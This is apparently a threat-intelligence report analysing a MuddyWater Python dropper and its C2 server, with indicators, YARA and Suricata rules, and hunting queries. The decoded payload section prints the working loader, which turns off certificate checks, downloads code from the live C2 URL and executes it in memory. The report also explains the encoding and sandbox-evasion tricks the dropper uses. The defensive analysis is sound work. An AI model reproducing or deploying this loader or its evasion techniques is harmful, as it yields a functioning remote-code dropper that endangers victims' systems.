Back to reports
criticalAPT

MuddyWater's "mazafakaerindahouse" Campaign: An 873-Byte Python Dropper, 6 OPSEC Failures, and a Russian Cybercrime False Flag

PublishedMarch 12, 2026
Threat Actors:MuddyWaters (documented by Mandiant)ProfileAssessment**: MuddyWater (MOIS/Ministry of Intelligence and Security)Timeline (2026)s-conducting-malicious-cyber-operations) - CISA, 2022
aptmuddywaterphishingcredential-theftc2spearphishing

TL;DR: A fresh MuddyWater (Iranian MOIS) Python dropper submitted to MalwareBazaar on March 9, 2026, uses dual-layer obfuscation (Base64 over UTF-16 LE) to hide a download-and-execute payload targeting mazafakaerindahouse[.]info -- a C2 domain named after an elite Russian cybercrime forum whose co-founder was a GRU officer. Our infrastructure investigation uncovered the operator's email address (modafabiches@outlook[.]com) leaked in both WHOIS registrant data and the SOA DNS record, a fabricated US address with a mismatched ZIP code, and a multi-tenant Express/Node.js C2 framework behind UUID-routed nginx isolation -- all hosted on a known bulletproof hosting provider documented since 2014. The Russian-themed branding is assessed as a deliberate false flag.


From MalwareBazaar to Full Infrastructure Mapping

On March 9, 2026, malware researcher JAMESWT_WT submitted a new sample to MalwareBazaar tagged as MuddyWater -- a ZIP archive containing a single Python script. The public record stopped there: a hash and a tag.

We pulled the sample and worked it from deobfuscation through to full C2 infrastructure mapping, operator identity exposure, hosting provider attribution, and campaign correlation with MuddyWater's documented 2026 operations. What emerged is a textbook case of an advanced persistent threat group making elementary OPSEC mistakes while deploying sophisticated architecture.

The Dropper: 873 Bytes, Zero Dependencies

The sample arrives as main.zip (633 bytes) containing main.py (873 bytes). The entire dropper is a single line of Python.

PropertyValue
SHA256 (ZIP)6e9b31cffe38ba8c354a51041f9c0e846a51dbf9f28585aabb69c3f7516b4382
SHA256 (PY)a4c7b861f9e2e20e5e3bbe867997ef7d97e087ab9e1721fcd0c58375c1d004d3
MD5 (PY)f705244a2824f4142300b3feeeb68e87
SHA1 (PY)19cbc5525ffc73cf8070b0f1fc0239538eeecdc4
Size (PY)873 bytes
First Seen2026-03-09

Three Layers of Obfuscation

The dropper wraps its payload in three layers designed to defeat static analysis:

Layer 1 -- Base64 encoding. The entire payload sits inside exec(__import__('base64').b64decode(...)), using Python's inline import to avoid a top-level import base64 that signature engines would flag.

Layer 2 -- UTF-16 Little Endian encoding. Before the base64 layer, the payload was encoded as UTF-16 LE. Every ASCII character becomes two bytes, doubling the payload size and producing a base64 blob that does not match typical ASCII payload patterns. This is a novel technique not previously documented in MuddyWater operations.

Layer 3 -- Anti-detection comment. The decoded payload begins with #yJXF7Wctiy5nAZsAhkzvEWM6 -- a 24-character alphanumeric string that likely changes per build to defeat hash-based detection.

Decoded Payload

After stripping both layers, the actual payload is five lines:

#yJXF7Wctiy5nAZsAhkzvEWM6                    # Anti-detection marker (rotates per build)
import ssl                                     # SSL context manipulation
import time                                    # Sleep for anti-sandbox
import urllib.request                          # HTTPS download (stdlib only)
ssl._create_default_https_context = ssl._create_unverified_context  # BYPASS SSL VERIFICATION
c = urllib.request.urlopen(
    'https://mazafakaerindahouse.info/a2ea4d41-3c8b-5b78-ab46-e14bf6af7383/lock1'
).read().decode('utf-8')                       # Download Stage 2 as UTF-8 text
time.sleep(2.1)                                # Anti-sandbox: 2.1s non-round delay
exec(c)                                        # Execute downloaded Python code in memory

Four design decisions stand out:

  1. Zero external dependencies. Only Python standard library modules -- ssl, time, urllib.request. No pip install, no compilation. Runs on Windows, Linux, and macOS without modification.
  2. SSL verification bypass. Replaces the default HTTPS context globally, accepting any certificate. This prevents connection failures on hardened systems and corporate proxies.
  3. Non-round sleep value. The 2.1-second delay is deliberately non-round. Sandbox heuristics commonly flag clean round numbers (1, 2, 5, 10 seconds) -- the fractional value evades these checks.
  4. Memory-only execution. exec() runs the downloaded code in-process without writing to disk. No file touches the filesystem after the initial main.py execution.

The Attack Chain

[1] Spear-phishing email with ZIP attachment (presumed)
         |
[2] User extracts main.zip, runs main.py
         |
[3] Dropper deobfuscates: base64 decode -> UTF-16 decode -> exec()
         |
[4] SSL verification disabled globally
         |
[5] Stage 2 downloaded from mazafakaerindahouse[.]info over HTTPS
         |
[6] 2.1s anti-sandbox sleep
         |
[7] exec() runs Stage 2 in memory (likely Fakeset/Dindoor-class backdoor)
         |
[8] Persistent C2 channel established -> recon, credential theft, lateral movement

As of March 10, 2026, the Stage 2 endpoint (/lock1) returns a JSON 404 response. The payload was either time-limited or manually cleaned after the distribution window closed.

C2 Infrastructure: UUID-Routed Campaign Isolation

The C2 URL contains a critical structural element: the UUIDv5 a2ea4d41-3c8b-5b78-ab46-e14bf6af7383 embedded as a path segment. This is not a random path -- it is a deterministic identifier generated from a SHA-1 hash of a namespace UUID and an input name known only to the operator.

The Architecture

The C2 server runs a campaign-isolating proxy architecture:

                    Internet
                       |
              +------------------+
              |  nginx/1.18.0    |
              |  (reverse proxy) |
              |                  |
              |  /a2ea4d41.../*  | --> Express/Node.js backend (this campaign)
              |  /[other UUID]/* | --> different backend (different campaign)
              |  /*              | --> 504 Gateway Timeout (no upstream)
              +------------------+

The evidence is clear from probing:

  • Requests to /a2ea4d41-3c8b-5b78-ab46-e14bf6af7383/* reach an Express backend that returns structured JSON ({"code":404,"success":false,"message":"File not found"})
  • Requests to any other UUID path return 504 Gateway Timeout -- no upstream configured
  • Requests to root paths (/admin, /login, etc.) also return 504
  • HTTP port 80 serves the default nginx welcome page -- a separate server block
  • OPTIONS reveals full REST API support: GET, HEAD, PUT, PATCH, POST, DELETE
  • Response headers include Access-Control-Allow-Origin: * and ETag (Express defaults)

This architecture allows a single server to host multiple campaigns with complete network-level isolation. Each campaign gets a unique UUID mapped to a separate backend process. The full REST API surface (including PUT, PATCH, DELETE) indicates a multi-purpose C2 framework, not a simple file server.

Server Details

PropertyValue
Domainmazafakaerindahouse[.]info
IPv4149[.]33[.]7[.]161
IPv62a02:c6c1:f:201:0:1:0:4
Ports22 (SSH), 80 (HTTP), 443 (HTTPS)
Web Servernginx/1.18.0 (Ubuntu)
BackendExpress/Node.js REST API
TLSTLSv1.3, TLS_AES_256_GCM_SHA384, X25519/RSASSA-PSS
CertificateLet's Encrypt R12, single SAN, RSA 2048-bit

Six OPSEC Failures

For a nation-state APT group, the operational security on this campaign is remarkably poor.

1. Operational Email in WHOIS

The domain registrant record exposes the operator's email: modafabiches@outlook[.]com. No WHOIS privacy service was used.

2. Same Email in SOA RNAME

The same email appears in the DNS zone's SOA RNAME field (modafabiches.outlook.com.). Even if the operator had enabled WHOIS privacy, the SOA record would have leaked the email independently. This is a double exposure of the same credential.

3. Fabricated Registration Data with Obvious Errors

FieldValueProblem
NameJohnik MakedonskiySlavic pseudonym ("Johnik the Macedonian")
Phone+1.4812341241Sequential digits (1241)
Address1041 W Kelly St, New York 11011ZIP 11011 is Babylon, Long Island -- not NYC
CityStShould be "New York" -- truncated or auto-filled

4. Russian-Themed Domain Name

Naming a C2 domain after one of the most documented Russian cybercrime forums in history draws immediate analyst attention. "Mazafaka" is a name every threat intelligence researcher recognizes.

5. Default nginx Page on Port 80

The HTTP port 80 serves the default "Welcome to nginx!" page, confirming the server was set up hastily and never hardened.

6. Infrastructure Setup Speed Leaves CT Log Trail

The entire infrastructure was stood up in 2 hours and 13 minutes, leaving a clean timeline in public logs:

Time (UTC)Event
2026-02-24 17:29Domain registered via PublicDomainRegistry
2026-02-24 18:41Let's Encrypt certificate issued (72 min after registration)
2026-02-24 19:40Certificate Transparency log entries created
2026-02-24 19:42nginx installed (HTTP Last-Modified header)

The 13-day gap between infrastructure setup (February 24) and the sample appearing on MalwareBazaar (March 9) represents the operational window during which the dropper was actively deployed against targets.

Bulletproof Hosting: 3NT Solutions LLP

The C2 server sits on IP space belonging to 3NT Solutions LLP, a London-based hosting provider at 22 Brondesbury Park, Willesden, London NW6 7DL. 3NT has been documented as a bulletproof hosting operation by security researchers since 2014.

Cogent Communications (149.33.0.0/16) -- transit provider, Washington DC
    |
3NT Solutions LLP (149.33.0.0/17) -- bulletproof host, London
    |
CLOUD-NETWORK-US (149.33.7.0/24) -- reassigned block
    |
149.33.7.161 -- mazafakaerindahouse[.]info

The IPv6 address (2a02:c6c1:f:201:0:1:0:4) routes through IROKO Networks Ltd, also based in London's Hatton Garden district -- the same office district as 3NT Solutions.

The Mazafaka Connection: False Flag Assessment

The domain name references Mazafaka (also known as "Maza"), an elite Russian-language cybercrime forum that operated from 2001 to at least 2021. Mazafaka required Russian language fluency, member vouching, and encryption certificates to join. Its co-founder was identified as a GRU (Russian military intelligence) officer when the forum's member database was breached in 2021.

Combined with the Slavic pseudonym "Johnik Makedonskiy" and the vulgar Russian-English email handle, this creates a surface-level pattern of Russian attribution. We assess this as a deliberate false flag with medium confidence.

Supporting a false flag interpretation:

  • MuddyWater is definitively attributed to Iranian MOIS with years of evidence across dozens of campaigns
  • Iranian APT groups have previously used Russian-language elements to misdirect attribution
  • The references are theatrical and superficial -- a domain name and fake registration data, not deep operational artifacts
  • The "Mazafaka" name is deliberately provocative and attention-grabbing, not the behavior of an operator trying to stay quiet

Alternative explanations:

  • MuddyWater's exposed infrastructure showed use of NPM packages (ethers for Ethereum C2), demonstrating comfort across tech ecosystems
  • Node.js/Express C2 backends are more common in Russian-speaking cybercrime than Iranian APT operations
  • Some Iranian operations have used Russian-speaking contractors (documented by Mandiant)
  • The Lithuanian DNS registrar (Regway) fits Eastern European infrastructure patterns

MuddyWater's 2026 Campaign Tempo

This sample fits within a documented acceleration of MuddyWater operations in early 2026:

CampaignDateToolsOverlap
Operation OlalampoJan 2026GhostFetch, CHAR, HTTP_VIPPhishing delivery, staged payloads, anti-sandbox
Dindoor CampaignFeb 2026Dindoor (Deno), Fakeset (Python)Python backdoor, cloud C2, SSL manipulation
Exposed VPS (Ctrl-Alt-Intel)Feb 2026KeyC2, PersianC2, ArenaC2Express/Node.js backend, multi-framework server
This SampleMar 2026Python dropperPython + Express/Node.js + staged delivery

The convergence of Python scripting (matching Fakeset), Express/Node.js backend (matching the exposed VPS report), and multi-stage delivery (matching all three prior campaigns) places this sample firmly within MuddyWater's operational pattern.

What Is New

Three elements in this campaign have not been previously documented for MuddyWater:

  1. UTF-16 obfuscation layer. The dual encoding (base64 over UTF-16 LE) is a novel evasion technique that defeats string-matching detection engines expecting ASCII-density in base64 blobs.
  2. UUID-routed nginx isolation. Campaign isolation at the reverse proxy level, with per-UUID upstream routing, represents infrastructure maturity beyond simple shared hosting with path-based routing.
  3. Russian-themed operational branding. The Mazafaka reference and Slavic pseudonym are unprecedented for MuddyWater and represent either a new operational pattern or a new operator/contractor within the group.

MITRE ATT&CK Mapping

TacticTechniqueIDImplementation
Initial AccessPhishing: Spearphishing AttachmentT1566.001ZIP archive delivered via email (presumed)
ExecutionCommand and Scripting Interpreter: PythonT1059.006Python dropper executes downloaded code via exec()
Defense EvasionDeobfuscate/Decode Files or InformationT1140Base64 + UTF-16 LE dual encoding
Defense EvasionVirtualization/Sandbox Evasion: Time BasedT1497.0032.1-second non-round sleep delay
Defense EvasionSubvert Trust ControlsT1553Global SSL certificate verification bypass
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTPS REST API C2 communication
Command and ControlIngress Tool TransferT1105Stage 2 Python payload downloaded from C2
Command and ControlData Encoding: Standard EncodingT1132.001UTF-8 encoded Python payloads over HTTPS

Indicators of Compromise

Network Indicators

TypeValueContext
Domainmazafakaerindahouse[.]infoC2 domain
IPv4149[.]33[.]7[.]161C2 server
IPv62a02:c6c1:f:201:0:1:0:4C2 server (IROKO/AS29802)
URLhxxps://mazafakaerindahouse[.]info/a2ea4d41-3c8b-5b78-ab46-e14bf6af7383/lock1Stage 2 download
Emailmodafabiches@outlook[.]comOperator email (WHOIS + SOA)

File Indicators

# main.zip
6e9b31cffe38ba8c354a51041f9c0e846a51dbf9f28585aabb69c3f7516b4382  SHA256
633 bytes

# main.py
a4c7b861f9e2e20e5e3bbe867997ef7d97e087ab9e1721fcd0c58375c1d004d3  SHA256
f705244a2824f4142300b3feeeb68e87                                  MD5
19cbc5525ffc73cf8070b0f1fc0239538eeecdc4                          SHA1
873 bytes

Infrastructure Indicators

TypeValueContext
TLS Serial0569efec22ebebe144e94c2e85505bbff9a3Let's Encrypt certificate
SSH ED25519AAAAC3NzaC1lZDI1NTE5AAAAIKq4RK7THcxk9zKvjqK+XUGSxYkaQJnCUJAbTAQaVHlBC2 host key
UUIDv5a2ea4d41-3c8b-5b78-ab46-e14bf6af7383Campaign identifier
WHOIS Handle133174234PDR registrant handle

Behavioral Fingerprints

TypeValue
HTTP Servernginx/1.18.0 (Ubuntu)
C2 404 Response{"code":404,"success":false,"message":"File not found"}
C2 ETagW/"37-kHr/V9Y/rMqOT3hJvehx2gloG5Y"
CORS HeaderAccess-Control-Allow-Origin: *
Dropper Patternexec(__import__('base64').b64decode(...).decode('utf-16'))
Comment Pattern#[A-Za-z0-9]{24} (anti-detection marker)

Detection Opportunities

YARA Rules

rule MuddyWater_Python_Dropper_UTF16_Base64 {
    meta:
        author = "Breakglass Intelligence"
        date = "2026-03-10"
        description = "MuddyWater Python dropper using base64-encoded UTF-16 exec payload"
        tlp = "TLP:CLEAR"
        severity = "CRITICAL"
    strings:
        $exec_import = "exec(__import__('base64').b64decode(" ascii
        $utf16_decode = ".decode('utf-16'))" ascii
        $b64_import_ssl = "aQBtAHAAbwByAHQAIABzAHMAbA" ascii
        $b64_import_time = "aQBtAHAAbwByAHQAIAB0AGkAbQBl" ascii
        $b64_urllib = "dQByAGwAbABpAGIALgByAGUAcQB1AGUAcwB0" ascii
        $b64_ssl_bypass = "XwBjAHIAZQBhAHQAZQBfAHUAbgB2AGUAcgBpAGYAaQBlAGQA" ascii
    condition:
        ($exec_import and $utf16_decode) or
        (3 of ($b64_*))
}

rule MuddyWater_Python_Dropper_Generic {
    meta:
        author = "Breakglass Intelligence"
        date = "2026-03-10"
        description = "Generic Python dropper with SSL bypass and exec-of-downloaded-content"
        tlp = "TLP:CLEAR"
        severity = "HIGH"
    strings:
        $ssl_bypass1 = "ssl._create_default_https_context" ascii
        $ssl_bypass2 = "_create_unverified_context" ascii
        $urllib_open = "urllib.request.urlopen" ascii
        $exec_call = "exec(" ascii
        $decode_utf8 = ".decode('utf-8')" ascii
        $decode_utf16 = ".decode('utf-16')" ascii
        $b64_decode = "b64decode" ascii
        $time_sleep = "time.sleep" ascii
    condition:
        filesize < 5KB and
        $ssl_bypass1 and $ssl_bypass2 and
        $urllib_open and $exec_call and
        ($decode_utf8 or $decode_utf16 or $b64_decode) and
        $time_sleep
}

rule MuddyWater_C2_mazafakaerindahouse {
    meta:
        author = "Breakglass Intelligence"
        date = "2026-03-10"
        description = "C2 domain reference for mazafakaerindahouse campaign"
        tlp = "TLP:CLEAR"
        severity = "CRITICAL"
    strings:
        $domain = "mazafakaerindahouse" ascii wide
        $domain_utf16 = { 6D 00 61 00 7A 00 61 00 66 00 61 00 6B 00 61 00 65 00 72 00 69 00 6E 00 64 00 61 00 68 00 6F 00 75 00 73 00 65 00 }
    condition:
        any of them
}

Suricata Rules

alert dns any any -> any any (msg:"MUDDYWATER C2 DNS Lookup mazafakaerindahouse.info"; \
  dns.query; content:"mazafakaerindahouse.info"; nocase; sid:2026031001; rev:1;)

alert tls any any -> any any (msg:"MUDDYWATER C2 TLS SNI mazafakaerindahouse.info"; \
  tls.sni; content:"mazafakaerindahouse.info"; sid:2026031002; rev:1;)

alert http any any -> any any (msg:"MUDDYWATER C2 UUID Campaign Path"; \
  http.uri; content:"/a2ea4d41-3c8b-5b78-ab46-e14bf6af7383/"; sid:2026031003; rev:1;)

alert ip any any -> 149.33.7.161 any (msg:"MUDDYWATER C2 Server Connection (IPv4)"; \
  sid:2026031004; rev:1;)

alert ip any any -> [2a02:c6c1:f:201:0:1:0:4] any (msg:"MUDDYWATER C2 Server Connection (IPv6)"; \
  sid:2026031005; rev:1;)

Hunting Queries

Hunt for the dropper execution pattern -- search Python process telemetry and script logs for the distinctive obfuscation chain:

# Sysmon / EDR query (pseudo-SQL)
SELECT * FROM process_events
WHERE command_line LIKE '%exec(__import__%base64%b64decode%utf-16%'
   OR command_line LIKE '%_create_unverified_context%urlopen%exec%'

# Network traffic -- connections to 3NT Solutions IP space
SELECT * FROM network_events
WHERE dst_ip LIKE '149.33.%'
  AND dst_port IN (443, 80)

# DNS -- domain resolution
SELECT * FROM dns_events
WHERE query = 'mazafakaerindahouse.info'
   OR answer = '149.33.7.161'

Hunt for the behavioral pattern on endpoints where Python is installed:

  • Python processes making HTTPS connections with SSL verification disabled (ssl._create_unverified_context)
  • Python scripts under 5KB using exec() with urllib.request.urlopen()
  • Any file matching the comment pattern #[A-Za-z0-9]{24} followed by import ssl

Monitor for infrastructure reuse:

  • New certificates issued to mazafakaerindahouse[.]info via CT log monitoring
  • Other domains registered by modafabiches@outlook[.]com (reverse WHOIS)
  • New domains resolving to 149.33.7.0/24 or other 3NT Solutions IP space
  • Reuse of the UUIDv5 a2ea4d41-3c8b-5b78-ab46-e14bf6af7383 in other samples (same campaign)

Published by Breakglass Intelligence. Investigation conducted 2026-03-09 to 2026-03-10. Sample sourced from MalwareBazaar. C2 infrastructure live at time of analysis. Stage 2 payload removed by operator. Classification: TLP:CLEAR

Share